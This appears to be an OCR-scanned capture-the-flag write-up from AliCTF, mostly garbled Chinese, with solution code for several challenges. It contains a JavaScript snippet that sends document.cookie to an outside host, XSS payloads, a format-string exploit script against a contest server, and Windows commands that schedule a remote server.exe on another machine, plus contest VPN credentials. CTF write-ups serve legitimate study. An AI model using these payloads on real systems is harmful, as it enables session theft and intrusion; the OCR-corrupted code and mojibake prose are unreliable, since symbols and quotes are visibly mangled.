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#!python
a = [e, 3, 13, 19, 85, 5, 15, 78, 22, 7, 7, 68, 14, 5, 15, 42]
b = 'bobdylan'
i=29
for x in a:
s+= chr(x ~ ord(b[i % len(b)]))
i+=1
print s
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#!javascript
var i = new Image();
i.src = "http://ricter.me:9999/?" + document.cookie;
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alert(1))}catch(e){alert(100)}//
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%Xdebug=\%22));alert(1);}catch(e){alert(100)}//
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#!python
#coding:utf-8
from zio import *

print_flag = 0x08048BBD
free_addr = 0x0804C014

exp = """%134515645x%76%hn"""

io = zio(('exploit.alictf.com',5608))
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io.read_until('Quit")
io.writeline('1")
io.read_until('Name:")
io.writeline(132(free_addr))
io.read_until('ass:")
io.writeline('1234")

io.read_until('Quit")
io.writeline('2")
io.read_until('Name:")
io.writeline(132(free_addr))
io.read_until('ass:")
io.writeline('1234")
io.read_until('Quit")
io.writeline('3")
io.read_until('To:")

io.writeline(exp)
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io.read_until('Title:")
io.writeline('123")
io.read_until('Body:")
io.writeline('123")
io.read_until('Quit")

io.writeline('3")

io.interact()
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testKey: 673f3e705c8d5b7af675f309e58d46c9
ServerTime: 15-03-29 20:46:03
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<html>
<head>
<script src='jquery.min.js'></script>
<script>
function URL(url) {
this.url = url
this.illegal = false;

this.scheme = null
this.query = null;
this.fragment = null;
this.authority = '';
this.path = '';
this.username = null;
this.password = null;
this.port = 80;

}

URL.prototype.parse = function(){

var url = this.url

//parse fragment
var pos = url.indexOf('#');
if(pos > -1){
if(url.length > pos+1){
this.fragment = url.substr(pos+l, url.length-(pos+1));
}
url = url.substr(@, pos);
}
//parse query
pos = url.indexOf('?");
if(pos > -1){
if(url.length > pos+1){
this.query = url.substr(pos+1l, url.length-(pos+l));

¥
url = url.substr(@, pos);



//parse scheme

var posl = url.indexOf(':");

var pos2 = url.indexOf('/");

if(posl > -1 && pos2 > posl){
this.scheme = url.substr(®, posl).toLowerCase();
url = url.substr(posi+l);

if(url.substr(0,2) == '//"){
url = url.substr(2);
}else{
this.illegal = true;
return
}
}else{
this.illegal = true;
return
}
while(url.charAt(0) == '/'){
url = url.substr(1)
}
pos = url.indexOf('/")
if(pos == -1){
this.authority = url;
this.path = '';
Yelse{

this.authority url.substr(@, pos);

this.path = url.substr(pos);

//parse username and password

pos = this.authority.indexOf('@");

if(pos == -1){
this.username

null;
null;

this.password

}else{
this.username = this.authority.substr(0, pos);
this.authority = this.authority.substr(pos+1);
pos = this.username.indexOf(':")

if(pos == -1){
this.password = null;
}else{

this.password

this.username.substr(pos+1);
this.username = this.username.substr(@, pos);

//parse port

pos = this.authority.indexOf(':");

if(pos > -1){
this.port = this.authority.substr(pos+1);
this.authority = this.authority.substr(@, pos)

}
URL.prototype.validate = function(){

this.parse();

if(this.illegal) return;



//validate scheme

if(this.scheme != 'http' && this.scheme != 'https'){
this.illegal = true;
return;

}

if(this.username && this.username.indexOf('\\"') > -1){
this.illegal = true;
return;

}

if(this.password && this.password.indexOf('\\"') > -1){
this.illegal = true;
return;

}

if(this.authority != 'notexist.example.com'){
this.illegal = true;
return;

}
URL.prototype.get = function(){

if(this.illegal){
return 'default.js';
}else{
return this.url;

}
</script>
</head>
<body>
<script type="text/javascript">
var url = new URL(location.search.substr(1));
url.validate()
url = url.get()
$.getScript(url)
</script>
</body>
</html>
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#!php
Q==
function encrypt($plain) {
$plain = md5($plain);

//var_dump($V);
$rnd = md5(substr(microtime(),11));

//var_dump(substr(microtime(),11)+mt_rand(0,35));
$cipher = '';
for($i = @; $i < strlen($plain); $i++) {
$cipher .= ($plain[$i] »~ $rnd[$i]);
}
$cipher .= $rnd;
$V .= strrev($V);
//var_dump($cipher);
for($i = 0; $i < strlen($Vv); $i++) {
$cipher[$i] = ($cipher[$i] ~ $V[$i]);
}
//var_dump($cipher);
//var_dump($V);
return str_replace('=', '', base64_encode($cipher));

}
function decrypt($cipher) {

$cipher_1 = base64_decode($cipher);
//var_dump($cipher_1);

if (strlen($cipher_1)!=64){

return 'xx';

}

$V .= strrev($V);

$plain = $cipher_1;

//var_dump($cipher_1);

//var_dump($V);

for($i = 0; $i < strlen($Vv); $i++) {
$plain[$i] = ($cipher_1[$i] ~ $V[$i]);

¥

$ran = substr($plain,32,32);

$plain = substr($plain,e,32);

//var_dump($plain);

for ($i = @; $i < strlen($ran); $i++) {

$plain[$i] = ($plain[$i] ~ $ran[$i]);

}

//var_dump($plain);

return $plain;
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SRS

Je 32 By

md5(rnd) ~ strrev(md5(V))
SRS

W SRAREET 32 AL 44 M Guest # % Admin, T4

md5("Guest") ~ md5(rnd) A md5(V) ~ md5("Guest") ~ md5("Admin")
CEUME

JiT DA 2245 B A Python JIASENT] (:3] )

&k )5 Cookie 1 —> serailize fiEN, SIE THiS, AdaashT ..

0x11 Z&E ) 38 /&

R — NSRBI ~

Wi URL A5 M ) URL N MactionNregister, ZJ&RiumfEekgeit BRHNEMIK S .

B BERMGAAEAES B IR, R I 3 £ 43 S

BENJG Gk, i ReE s . K —E A Esad 70 mul RS, R Eor(x 114
A5 E 1115 21 user_bak REALAEAE— D —IRIFENIWIF (about AFHE)

1FREIE L TS, N hdxoood @#-

SRIERENEAE T

XA SR NG, (R G IX S AN 1 T A . ADS RefE 3, Hra o et peaa 2, A2
admin_pic HA2& LI L) . &K eee itk 17, KME2 5L ADS 1 :[INDEX_ALLOCATION & 3%,
SR 5 2L admin_pic ¥ Cookie, 5 ::$DATA 4% php {4

0X12LEII:EH%%: 'Eﬁ/ﬁﬁ}g

H iR R 2 Hitokenly 27638e649e4371f54eddb9a201f1b78¢

k45 #%: ageis.alictf.com

THBOIETE RS as LR — DS IEE K W R N4 7 B8 B 1K
BRI, Vil http://ageis.alictf.com, #GEE 2 “De k757 d "k AT N 2%,

JUPRE 75 e AR EY token HHZ R Aflag.



Mg #s B —ANKS M alictf, AFHE.

BERGRAN win2003 x64.

AHLEFF B VPNARSS -

T G AR, EIRS A LA BRI S SR, R siiix.

. BAEX SRS B/RERTE, BRIT&IES, BUFkSHEETIP, HIDUH LIEER.
SRS

m O N @ >

A H AR B St A2 EEARE R VPN o

alictf:123456
SR

HiEExR. ifconfig &1, ip A& 172.16.0.1 1 1 N M, T 7 80 445 1025 1723 3389 #eft A U #E 1)
3389 HE EAL, WAKMAERE snmp EL#E smb ARIAEE N, ARSI msf EIETT, S5 RKIICTHEA L
i, RIRE T R EIT tips LR B A AAAEAT 230, KRBT A SO, /& windows THRIME S5 SO R 1)
X, RIHSEHN

c:\windows\tasks
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at \\172.16.0.1 xx:xx c:\windows\tasks\server.exe
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copy Atl.job \\172.16.0.1\\Tasks\
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